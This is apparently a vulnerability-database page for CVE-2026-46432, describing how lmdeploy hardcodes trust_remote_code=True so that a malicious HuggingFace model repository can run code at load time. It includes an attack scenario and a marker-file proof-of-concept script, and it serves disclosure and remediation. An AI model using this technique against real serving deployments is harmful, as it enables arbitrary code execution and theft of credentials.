Skip to main content

lmdeploy CVE-2026-46432

HIGH
Code Injection (CWE-94)
2026-05-21 https://github.com/InternLM/lmdeploy GHSA-m549-qq94-fvhg
7.8
CVSS 3.1 · Vendor: https://github.com/InternLM/lmdeploy
Share

Severity by source

Vendor (https://github.com/InternLM/lmdeploy) PRIMARY
7.8 HIGH
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/InternLM/lmdeploy) · only source for this CVE.

CVSS VectorVendor: https://github.com/InternLM/lmdeploy

Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Source Code Evidence Fetched
May 21, 2026 - 18:32 vuln.today
Analysis Generated
May 21, 2026 - 18:32 vuln.today

DescriptionCVE.org

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

text
lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

text
lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

text
lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

python
AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

python
GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

  1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
  2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:
text
attacker-org/malicious-model
  1. The lmdeploy serving process starts with that model path:
bash
lmdeploy serve api_server attacker-org/malicious-model
  1. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
  2. Transformers loads and executes remote Python code from the attacker-controlled model repository.
  3. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

python
#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

text
[+] Code execution confirmed

The marker file is written to:

text
/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

  • Read files accessible to the lmdeploy process.
  • Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
  • Modify model-serving behavior or tamper with responses.
  • Execute arbitrary operating-system commands.
  • Access request data or internal service credentials available to the serving process.
  • Cause denial of service by crashing or destabilizing the serving daemon.
  • Pivot to internal services reachable from the lmdeploy host or container.

AnalysisAI

Arbitrary code execution in InternLM lmdeploy <= 0.12.3 occurs because trust_remote_code=True is hardcoded across HuggingFace model-loading call sites in lmdeploy/archs.py and lmdeploy/utils.py. An attacker who can influence the model_path passed to an lmdeploy serving process can point it at a malicious HuggingFace repository, causing Transformers to download and execute attacker-controlled Python code with the privileges of the serving daemon. Publicly available exploit code exists in the GHSA advisory, and an upstream fix has been merged via PR #4511 (fixed in 0.13.0).

Technical ContextAI

lmdeploy (pkg:pip/lmdeploy) is InternLM's high-throughput LLM serving toolkit that wraps HuggingFace Transformers for model initialization. The vulnerability is a CWE-94 (Improper Control of Generation of Code) issue rooted in the Transformers trust_remote_code mechanism: when set to True, Transformers will import and execute arbitrary modeling_*.py modules shipped inside a model repository during calls like AutoConfig.from_pretrained, PretrainedConfig.get_config_dict, and GenerationConfig.from_pretrained. lmdeploy hardcodes this flag at archs.py:154, archs.py:157, and utils.py:225, removing the operator's ability to make an explicit trust decision. Because the model identifier is treated as configuration data rather than executable code, any data-flow path that lets an untrusted party set the model path becomes a code-execution sink.

RemediationAI

Upgrade to lmdeploy 0.13.0 or later, which lands the fix from https://github.com/InternLM/lmdeploy/pull/4511 - that PR replaces hardcoded trust_remote_code=True with an explicit --trust-remote-code CLI flag / pipeline kwarg defaulting to False, so remote code execution becomes opt-in per deployment. Operators upgrading must add --trust-remote-code to invocations that legitimately depend on custom model code (e.g., certain InternVL or non-standard architectures), otherwise model loading will fail; this is the intended trade-off. If immediate upgrade is not possible, treat the model_path argument as a code-execution sink: restrict who can set it (lock down Kubernetes manifests, Helm values, CI variables, and any API that accepts user-supplied model IDs), pin deployments to pre-downloaded local model directories rather than HuggingFace Hub IDs, run lmdeploy under a dedicated low-privilege service account with minimal access to cloud credentials/HF tokens, and consider egress filtering to block huggingface.co downloads from production serving hosts (note: this also breaks legitimate on-the-fly model pulls). Reference: https://github.com/InternLM/lmdeploy/security/advisories/GHSA-m549-qq94-fvhg.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Share

CVE-2026-46432 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy